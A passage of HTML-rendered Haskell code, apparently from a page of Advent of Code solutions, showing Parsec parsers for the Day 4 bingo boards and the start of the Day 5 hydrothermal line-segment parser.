&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;bingoElementSeparator&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;try&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;char&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#39;,&amp;#39;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;|&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;try&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;char&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;?&amp;gt;&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;separator for element&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- `try` applies a parser, and if it fails, then `try` behaves as if it hadn&amp;#39;t&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- consumed any input at all, and tries the option on the right of the `&amp;lt;|&amp;gt;`.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- Note that `try` only has an effect if its on the left side of a `&amp;lt;|&amp;gt;`. [1]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;--&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- `&amp;lt;?&amp;gt;` tries the parser on its left. In the event of a failure, it presents an&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- error message instead of trying another parser. The error message should&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- complete the sentence, &amp;#34;Expecting...&amp;#34;. [1]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;--&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- [1]: http://book.realworldhaskell.org/read/using-parsec.html&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- eol = try (string &amp;#34;\n\r\n\r&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- &amp;lt;|&amp;gt; try (string &amp;#34;\r\n\r\n&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- &amp;lt;|&amp;gt; try (string &amp;#34;\n\n&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- &amp;lt;|&amp;gt; string &amp;#34;\r\r&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- &amp;lt;?&amp;gt; &amp;#34;end of line followed by empty line&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- File format: the first line contains the numbers to draw. The rest is a new&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- line followed by a 5x5 grid of numbers representing a board.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;--&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- 7,4,9,5,11,17,23,2,0,14,21,24,10,16,13,6,15,25,12,22,18,20,8,19,3,26,1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;--&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- 22 13 17 11 0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- 8 2 23 4 24&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- 21 9 14 16 7&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- 6 10 3 18 5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- 1 12 20 15 19&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;--&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- 3 15 0 2 22&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- 9 18 13 17 5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- 19 8 7 25 23&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- 20 11 10 24 4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- 14 21 16 12 6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;parseBingoInput&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;FilePath&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;DrawnNumbers&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Board&lt;/span&gt;&lt;span style="color:#111"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;parseBingoInput&lt;/span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;dataFp&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;getDataFileName&lt;/span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- Objective: Try using `readFile` and see if `($!!)` is needed to fully&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- evaluate the contents before exiting this function.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;fileContents&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;readFile&lt;/span&gt; &lt;span style="color:#111"&gt;dataFp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;case&lt;/span&gt; &lt;span style="color:#111"&gt;parse&lt;/span&gt; &lt;span style="color:#111"&gt;bingoFile&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&amp;#34;&lt;/span&gt; &lt;span style="color:#111"&gt;fileContents&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;of&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;Left&lt;/span&gt; &lt;span style="color:#111"&gt;e&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStrLn&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Error parsing input&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt; &lt;span style="color:#111"&gt;e&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;[]&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;[]&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;Right&lt;/span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#111"&gt;parseInt&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;String&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Int&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;parseInt&lt;/span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;read&lt;/span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Int&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;drawnNumbers&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;map&lt;/span&gt; &lt;span style="color:#111"&gt;parseInt&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;head&lt;/span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;tile&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;String&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Tile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;tile&lt;/span&gt; &lt;span style="color:#111"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;parseInt&lt;/span&gt; &lt;span style="color:#111"&gt;x&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;False&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- TODO: Figure out how to parse multiple spaces as&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- separators, and get rid of the `isValidNum` filter.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;isValidNum&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;String&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Bool&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;isValidNum&lt;/span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;isJust&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;readMaybe&lt;/span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Maybe&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Int&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;parseBoards&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#111"&gt;[[&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;String&lt;/span&gt;&lt;span style="color:#111"&gt;]]&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Board&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;parseBoards&lt;/span&gt; &lt;span style="color:#111"&gt;([&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;_&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;:&lt;/span&gt; &lt;span style="color:#111"&gt;l1&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;:&lt;/span&gt; &lt;span style="color:#111"&gt;l2&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;:&lt;/span&gt; &lt;span style="color:#111"&gt;l3&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;:&lt;/span&gt; &lt;span style="color:#111"&gt;l4&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;:&lt;/span&gt; &lt;span style="color:#111"&gt;l5&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;:&lt;/span&gt; &lt;span style="color:#111"&gt;ls&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#111"&gt;nums&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;V&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;filter&lt;/span&gt; &lt;span style="color:#111"&gt;isValidNum&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;V&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;fromList&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;l1&lt;/span&gt; &lt;span style="color:#f92672"&gt;++&lt;/span&gt; &lt;span style="color:#111"&gt;l2&lt;/span&gt; &lt;span style="color:#f92672"&gt;++&lt;/span&gt; &lt;span style="color:#111"&gt;l3&lt;/span&gt; &lt;span style="color:#f92672"&gt;++&lt;/span&gt; &lt;span style="color:#111"&gt;l4&lt;/span&gt; &lt;span style="color:#f92672"&gt;++&lt;/span&gt; &lt;span style="color:#111"&gt;l5&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;board&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;V&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;map&lt;/span&gt; &lt;span style="color:#111"&gt;tile&lt;/span&gt; &lt;span style="color:#111"&gt;nums&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;in&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;board&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;False&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;:&lt;/span&gt; &lt;span style="color:#111"&gt;parseBoards&lt;/span&gt; &lt;span style="color:#111"&gt;ls&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;parseBoards&lt;/span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#111"&gt;l1&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;l2&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;l3&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;l4&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;l5&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#111"&gt;nums&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;V&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;filter&lt;/span&gt; &lt;span style="color:#111"&gt;isValidNum&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;V&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;fromList&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;l1&lt;/span&gt; &lt;span style="color:#f92672"&gt;++&lt;/span&gt; &lt;span style="color:#111"&gt;l2&lt;/span&gt; &lt;span style="color:#f92672"&gt;++&lt;/span&gt; &lt;span style="color:#111"&gt;l3&lt;/span&gt; &lt;span style="color:#f92672"&gt;++&lt;/span&gt; &lt;span style="color:#111"&gt;l4&lt;/span&gt; &lt;span style="color:#f92672"&gt;++&lt;/span&gt; &lt;span style="color:#111"&gt;l5&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;board&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;V&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;map&lt;/span&gt; &lt;span style="color:#111"&gt;tile&lt;/span&gt; &lt;span style="color:#111"&gt;nums&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;in&lt;/span&gt; &lt;span style="color:#111"&gt;[(&lt;/span&gt;&lt;span style="color:#111"&gt;board&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;False&lt;/span&gt;&lt;span style="color:#111"&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;parseBoards&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;_&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;[]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;drawnNumbers&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;parseBoards&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;tail&lt;/span&gt; &lt;span style="color:#111"&gt;r&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="day-05-hydrothermal-venture"&gt;Day 05: Hydrothermal Venture&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-hs" data-lang="hs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;hydrothermalFile&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Parser&lt;/span&gt; &lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;HV&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;LineSegment&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;hydrothermalFile&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;endBy&lt;/span&gt; &lt;span style="color:#111"&gt;hydrothermalLine&lt;/span&gt; &lt;span style="color:#111"&gt;endOfLine&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- Parses &amp;#34;0,9 -&amp;gt; 5,9&amp;#34; into a `LineSegment`.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;hydrothermalLine&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Parser&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;HV&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;LineSegment&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;hydrothermalLine&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;p1&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;commaSeparatedCoordinates&lt;/span&gt; &lt;span style="color:#75715e"&gt;-- Underscores to avoid shadowing.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;_&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;string&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34; -&amp;gt; &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;p2&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;commaSeparatedCoordinates&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;return&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;HV&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;LineSegment&lt;/span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;HV&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;p1&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;p1&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;HV&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;p2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;p2&lt;/span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- Parses &amp;#34;0,9&amp;#34; into (0, 9)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;commaSeparatedCoordinates&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Parser&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;HV&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Point&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;commaSeparatedCoordinates&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt;
